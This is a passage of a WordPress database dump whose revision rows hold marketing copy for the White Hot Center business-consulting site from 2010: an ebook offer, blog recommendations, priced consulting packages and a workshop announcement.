target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-02 11:56:42', '2010-10-02 18:56:42', '', 145, 'http://www.whitehotcenter.com/2010/10/02/145-revision-29/', 0, 'revision', '', 0);
INSERT INTO `wp_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_category`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(1083, 2, '2010-10-02 11:58:58', '2010-10-02 18:58:58', '<span style="color: #808080;"> </span>\r\n<h2><span style="color: #ff6600;"><strong><img class="size-full wp-image-734 alignnone" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook1.gif" alt="The White Hot Center Guide to Building a Competition Proof Business" width="350" height="396" /></strong></span></h2>\r\n<h2><span style="color: #ff6600;">Download  your absolutely FREE COPY now!</span></h2>\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf">The White Hot Center Guide to Building a Competition\r\nProof Business</a>. </span></h2>\r\n<h2><span style="color: #ff6600;"> </span><span style="color: #ff6600;"><span style="color: #ff6600;"> </span></span><span style="color: #333333;">White Hot Center founder Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind to create a value monopoly with your customers. In an age of commoditization in every product or service category, this guide will help you discover and define what can make your business stand out from the slush pile of endless competitors!</span></h2>\r\n<span style="color: #333333;"><span style="color: #ff6600;"><strong>if you find the guide useful to you, please tweet the link here share it with others. </strong></span>\r\n</span>\r\n<h2><strong>WHC highly recommends you check out these great bloggers and resources for your personal and professional inspiration:</strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-02 11:58:58', '2010-10-02 18:58:58', '', 145, 'http://www.whitehotcenter.com/2010/10/02/145-revision-30/', 0, 'revision', '', 0),
(1084, 2, '2010-10-02 12:04:34', '2010-10-02 19:04:34', '<span style="color: #808080;"> </span>\r\n<h2><span style="color: #ff6600;"><strong><img class="size-full wp-image-734 alignnone" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook1.gif" alt="The White Hot Center Guide to Building a Competition Proof Business" width="350" height="396" /></strong></span></h2>\r\n<h2><span style="color: #ff6600;">Download  your absolutely FREE COPY now!</span></h2>\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf">The White Hot Center Guide to Building a Competition\r\nProof Business</a>. </span></h2>\r\n<h2><span style="color: #ff6600;"> </span><span style="color: #ff6600;"><span style="color: #ff6600;"> </span></span><span style="color: #333333;">White Hot Center founder Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable more clarity and confidence to pursue a bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</span></h2>\r\n<span style="color: #333333;"><span style="color: #ff6600;"><strong>if you find the guide useful to you, please tweet the link here share it with others. </strong></span>\r\n</span>\r\n<h2><strong>WHC highly recommends you check out these great bloggers and resources for your personal and professional inspiration:</strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-02 12:04:34', '2010-10-02 19:04:34', '', 145, 'http://www.whitehotcenter.com/2010/10/02/145-revision-31/', 0, 'revision', '', 0),
(1085, 2, '2010-05-02 18:06:25', '2010-05-03 01:06:25', '<h2><img class="alignleft size-full wp-image-700" title="SEEDS" src="http://whc.fbdev.org/wp-content/uploads/2009/04/SEEDS.gif" alt="SEEDS" width="471" height="180" /></h2>\r\n<h2><span style="color: #ff6600;"> </span></h2>\r\n<h2><span style="color: #ff6600;"> Success in business and in life, however you measure it, begins within you, or more to the truth– within your thinking. As you think, so it is. Thinking is the seed of innovation, growth and expansion–every great thing that ever was, is now, or ever will be, at first, is a formless thought seed in the creative mind.</span></h2>\r\nAs the iconic Henry Ford was fond of saying,<span style="color: #ff6600;"><strong> </strong></span><span style="color: #ff6600;"> </span><span style="color: #000000;">“If you think you can or can’t– you’re right”.</span> There are two guiding principles that form the bedrock of my point of view on creating a life of significance, freedom and meaning through the venue of your business:<span style="color: #ff6600;"> </span>\r\n<h2><span style="color: #ff6600;">1) you must do what matters to you\r\n2) what you do must matter to others</span></h2>\r\nThese principals stand evergreen, and form the essence of your value proposition to the world. This is the white hot center of your competitive advantage. The holy of holies of who you are, and the legacy of your contribution to the world. What really matters to you is sacred, and dramatically so when it serves the good of others. This is where meaning and contribution intersect to form a life experience of joy, ease, freedom and creativity powered by the engine of your business– with the result being more financial abundance to invest in ever greater levels of growth and expansion.\r\n\r\n<strong>WhiteHotCenter Business Consulting </strong>\r\n<h2><img class="alignleft size-full wp-image-746" title="thomson blog.fullon" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson-blog.fullon.jpg" alt="" width="160" height="197" /><span style="color: #ff6600;">I inspire and guide creative entrepreneurs, small business leaders and solo professionals to discover and define the white hot center of their competitive advantage, then provide tools to best leverage that advantage for greater growth and success.</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong>White Hot Center Consulting provides guidance and creativity to help you discover, define and pursue your best opportunities to create value in the marketplace</strong></span></span><strong><span style="color: #ff6600;"><span style="color: #333333;">. Many of my clients are a seeking improvements in one or all of these areas :</span></span></strong>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;"><strong> personal and professional growth, (the inner game)\r\nlifestyle design, ( methods and tactics for creating what you want)</strong><strong>\r\nvalue creation ( innovation  / product development )</strong><strong>\r\ndemand generation, ( targeting, positioning, branding, marketing, sales communications)</strong></span></span>\r\n\r\n<span style="color: #ff6600;"><span style="color: #333333;">For over 25 years, I have been a marketing, brand strategy and creative consultant to global companies and venture start-ups alike. My clients have included Acura, Brunswick, Coleman, Energizer, Food Lion, Herman Miller, Hewlett-Packard, Honda, La Z Boy, and Volkswagan USA. I have also worked with dozens of mid-size companies and venture-funded start-ups in diverse industries. I''m delighted to offer my nearly three decades of successful entrepreneurial and business building expertise to creative entrepreneurs and solo professionals who seek insight, inspiration and tools to take their business and their entire life to the next level.  I offer several levels of consulting engagements:<strong>\r\n</strong></span></span>\r\n<h2><span style="color: #ff6600;"> </span><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif"><img class="size-full wp-image-323 alignleft" title="enterprise-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/enterprise-2.gif" alt="enterprise-2" width="225" height="222" /></a>Enterprise Level Consulting</h2>\r\nThis engagement is for mid-to-larger-scale enterprises with revenue of $10 million +. Typically this consulting package involves guidance to help business leaders and their teams gain more clarity and velocity to pursue their greatest opportunities to create new value for their customers. We collaborate on strategic issues of mission, values, positioning, brand strategy, differentiation, corporate and brand identity, and marketing communication platforms to internal and external audiences. The business imperatives that drive this consulting engagement typically involve new product introductions, growth challenges, mergers, inventing new companies, products or services, competitive threats to core markets or expansion into new markets.\r\n<strong><span style="color: #ff6600;">$50K+ USD This package is typically a 3-4 month engagement.\r\n<span style="color: #ff6600;"> </span></span><span style="color: #ff6600;"> </span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif"><img class="alignleft size-full wp-image-325" title="entreprenuer-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/entreprenuer-2.gif" alt="entreprenuer-2" width="225" height="222" /></a>Entrepreneur Level Consulting Package</h2>\r\nThis package has been designed for small business owners, creative entrepreneurs and solo professionals who have been in business for at least 3 years with sales revenues of less than $500,000.  Many entrepreneurs at this level experience much greater complexity getting their business to the $1million+ level. If this describes your current circumstances, we can provide strategic and creative guidance to help you focus on what matters most to you and how you will serve others. From that increased awareness, you''ll experience notably more clarity and conviction to maintain the discipline necessary to provide more value to customers and clients, at the same time, creating more freedom and joy for you. You''ll gain deeper insight and clarity on the strategic issues facing your business and personal growth. You''ll create a highly differentiated positioning and value proposition that matters to your customers and elevates their perception of your value to them. Together we''ll outline tactics and develop the tools to help you express your unique advantage in ways that influence more demand for your products and services.\r\n<strong><span style="color: #ff6600;">$7500-10,000 USD This package is individually tailored and scaled to your particular needs, and is typically 4-6 weeks in duration.\r\n</span></strong>\r\n<h2><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif"><img class="alignleft size-full wp-image-327" title="power-2" src="http://whc.fbdev.org/wp-content/uploads/2009/04/power-2.gif" alt="power-2" width="225" height="198" /></a>White Hot Power Session™ Package</h2>\r\nThis is a powerful, inspirational, game-changing,  expanding brain-storm session designed to ignite dreamers and schemers , start-up entrepreneurs, professionals and artists to gain more clarity and conviction to discover and define what matters most to them and develop the discipline to keep moving toward their vision of a bigger better future. Working within a defined structure, we jam together in conversation on your best thinking, and explore insights and new ideas about what''s required to get you there.. You can jam at two levels:\r\n\r\n<strong><span style="color: #ff6600;">Level A Immersion Jam  $2,500 USD</span></strong>\r\nIncludes (6) 60 minute Power Session Jam conference calls that are recorded and sent back to you for your future reference.\r\n\r\n<strong><span style="color: #ff6600;">Level B Individual Power Jam $500 USD</span></strong>\r\nThe 60 minute session is designed to spark your imagination, ignite wild and daring ideas to inspire you toward realizing your vision. You’ll be asked lots of what-if and why-not questions in this rapid-fire, hour-long burn that sets the trajectory for realizing your big ideas. The call is recorded for your future reference.\r\n<strong> </strong>\r\n<h2><span style="color: #ff6600;"><span style="color: #333333;"><strong>How to start the burn!</strong></span>\r\nSend an email to me: <a href="mailto://thomson@whitehotcenter.com">thomson@whitehotcenter.com</a>\r\nBriefly outline your current business circumstances, what level of consulting you are interested in, and what your expectations are for a positive outcome. I’ll respond directly to your inquiry and we can arrange a brief telephone conversation to determine if there is a good fit. My purpose is to inspire and provide ideas you can implement immediately to get you one step closely to realizing your vision for a bigger future. I am looking forward to working with you.\r\n</span></h2>\r\n<strong>\r\n</strong>\r\n\r\n<strong> </strong>', 'Clarity and confidence to create greater value!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2010-05-02 18:06:25', '2010-05-03 01:06:25', '', 138, 'http://www.whitehotcenter.com/2010/05/02/138-revision-73/', 0, 'revision', '', 0),
(1086, 2, '2010-10-02 12:10:57', '2010-10-02 19:10:57', '<span style="color: #808080;"> </span>\r\n<h2><span style="color: #ff6600;"><strong><img class="size-full wp-image-734 alignnone" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook1.gif" alt="The White Hot Center Guide to Building a Competition Proof Business" width="350" height="396" /></strong></span></h2>\r\n<h2><span style="color: #ff6600;">Download  your absolutely FREE COPY now!</span></h2>\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf">The White Hot Center Guide to Building a Competition\r\nProof Business</a>. </span></h2>\r\n<h2><span style="color: #ff6600;"> </span><span style="color: #ff6600;"><span style="color: #ff6600;"> </span></span><span style="color: #333333;">Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</span></h2>\r\n<span style="color: #333333;"><span style="color: #ff6600;"><strong>if you find the guide useful to you, please tweet the link here share it with others. </strong></span>\r\n</span>\r\n<h2><strong>WHC highly recommends you check out these great bloggers and resources for your personal and professional inspiration:</strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-02 12:10:57', '2010-10-02 19:10:57', '', 145, 'http://www.whitehotcenter.com/2010/10/02/145-revision-32/', 0, 'revision', '', 0),
(1087, 2, '2010-10-02 12:49:34', '2010-10-02 19:49:34', '<span style="color: #808080;"> </span>\r\n<h2><span style="color: #ff6600;"><strong><img class="size-full wp-image-734 alignnone" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook1.gif" alt="The White Hot Center Guide to Building a Competition Proof Business" width="350" height="396" /></strong></span></h2>\r\n<h1><span style="color: #ff6600;">Download  your absolutely FREE COPY now!</span></h1>\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf">The White Hot Center Guide to Building a Competition\r\nProof Business</a>. </span></h2>\r\n<h2><span style="color: #ff6600;"> </span><span style="color: #ff6600;"><span style="color: #ff6600;"> </span></span><span style="color: #333333;">Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</span></h2>\r\n<span style="color: #333333;"><span style="color: #ff6600;"><strong>if you find the guide useful to you, please tweet the link here share it with others. </strong></span>\r\n</span>\r\n<h2><strong>WHC highly recommends you check out these great bloggers and resources for your personal and professional inspiration:</strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-02 12:49:34', '2010-10-02 19:49:34', '', 145, 'http://www.whitehotcenter.com/2010/10/02/145-revision-33/', 0, 'revision', '', 0),
(1088, 2, '2010-10-02 12:50:06', '2010-10-02 19:50:06', '<span style="color: #808080;"> </span>\r\n<h2><span style="color: #ff6600;"><strong><img class="size-full wp-image-734 alignnone" title="whcebook" src="http://whc.fbdev.org/wp-content/uploads/2009/04/whcebook1.gif" alt="The White Hot Center Guide to Building a Competition Proof Business" width="350" height="396" /></strong></span></h2>\r\n<h1><span style="color: #ff6600;">Download  your absolutely\r\nFREE COPY now!</span></h1>\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf">The White Hot Center Guide to Building a Competition\r\nProof Business</a>. </span></h2>\r\n<h2><span style="color: #ff6600;"> </span><span style="color: #ff6600;"><span style="color: #ff6600;"> </span></span><span style="color: #333333;">Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</span></h2>\r\n<span style="color: #333333;"><span style="color: #ff6600;"><strong>if you find the guide useful to you, please tweet the link here share it with others. </strong></span>\r\n</span>\r\n<h2><strong>WHC highly recommends you check out these great bloggers and resources for your personal and professional inspiration:</strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2010-10-02 12:50:06', '2010-10-02 19:50:06', '', 145, 'http://www.whitehotcenter.com/2010/10/02/145-revision-34/', 0, 'revision', '', 0),
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(1094, 2, '2010-10-07 11:24:19', '2010-10-07 18:24:19', '<span style="color: #808080;"> </span>\r\n\r\n<span style="color: #ff6600;"><strong><img class="alignnone size-full wp-image-1089" title="WHC-Quantum-banner" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum-banner.gif" alt="" width="495" height="495" /></strong></span>\r\n<h2><span style="color: #ff6600;">In March 2011, a select group of 24 forward-thinking, successful entrepreneurs will gather in a special place to begin a year-long journey to create, innovate, focus and support each other to define and commit to achieving their visions for a bigger, more rewarding future in their business and in their whole life! Will you be among them?</span></h2>\r\n<h2><span style="color: #ff6600;">The White Hot Center Quantum Leap Workshop™ has been designed to offer entrepreneurs a unique opportunity to step away from working in their business and place their creative energies and focus working on developing innovative ideas to create unparalleled competitive advantage in their business, and more fulfillment in every area of their life! </span></h2>\r\n<h2><span style="color: #ff6600;"><span style="color: #000000;">Go ahead–take the leap and download the Workshop Brochure.</span>\r\n</span></h2>\r\n<span style="color: #ff6600;">Download  your FREE COPY!</span>\r\n<h2><span style="color: #ff6600;"><a href="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC.businessfinal.ebook.pdf">The White Hot Center Guide to Building a Competition\r\nProof Business</a>. </span></h2>\r\n<h2><span style="color: #ff6600;"> </span><span style="color: #ff6600;"><span style="color: #ff6600;"> </span></span><span style="color: #333333;">Author, entrepreneur, brand strategy and creative consultant Thomson Dawson outlines six fundamental strategies for creating unparalleled competitive advantage in your business. This useful guide will inspire you into a frame of mind that will enable more clarity and confidence to pursue your bigger future. In an age of commoditization in every product or service category, this guide will help you discover and define how to create a value monopoly in your business that elevates your influence with your clients and customers!</span></h2>\r\n<span style="color: #333333;"><span style="color: #ff6600;"><strong>if you find the guide useful to you, please tweet the link here share it with others. </strong></span>\r\n</span>\r\n<h2><strong>WHC highly recommends you check out these great bloggers and resources for your personal and professional inspiration:</strong><strong>\r\n</strong></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">whitehottruth.com\r\n</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.the99percent.com" target="_blank">the99percent.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.lateralaction.com" target="_blank">lateralaction.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.accidentalcreative.com" target="_blank">accidentalcreative.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.strategiccoach.com" target="_blank">strategiccoach.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.zenhabits.com" target="_blank">zenhabits.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.samdavidson.net" target="_blank">samdavidson.net</a></span></h2>\r\n<h2><a href="http://www.illuminatedmind.net" target="_blank">illuminatedmind.net</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></h2>\r\n<h2><span style="color: #808080;"> </span><span style="color: #808080;"><a href="http://www.farbeyondthestars.com">farbeyondthestars.com</a>\r\n<a href="http://www.themiddlefingerproject.org" target="_blank">\r\nthemiddlefingerproject.org</a><span style="color: #808080;"><a href="http://www.ted.com" target="_blank"></a></span></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.ted.com" target="_blank">ted.com</a></span></h2>\r\n<h2><span style="color: #808080;">\r\n\r\n</span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.blog.success.com" target="_blank"> </a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.sethgodin.typepad.com" target="_blank">sethgodin.com</a></span></h2>\r\n<h2><span style="color: #808080;"><a href="http://www.oddpodz.xom" target="_blank">www.oddpodz.com</a>\r\n</span></h2>\r\n<span style="color: #ff6600;">\r\n</span>', 'Hot Info to Grow On!', 0, '', 'inherit', 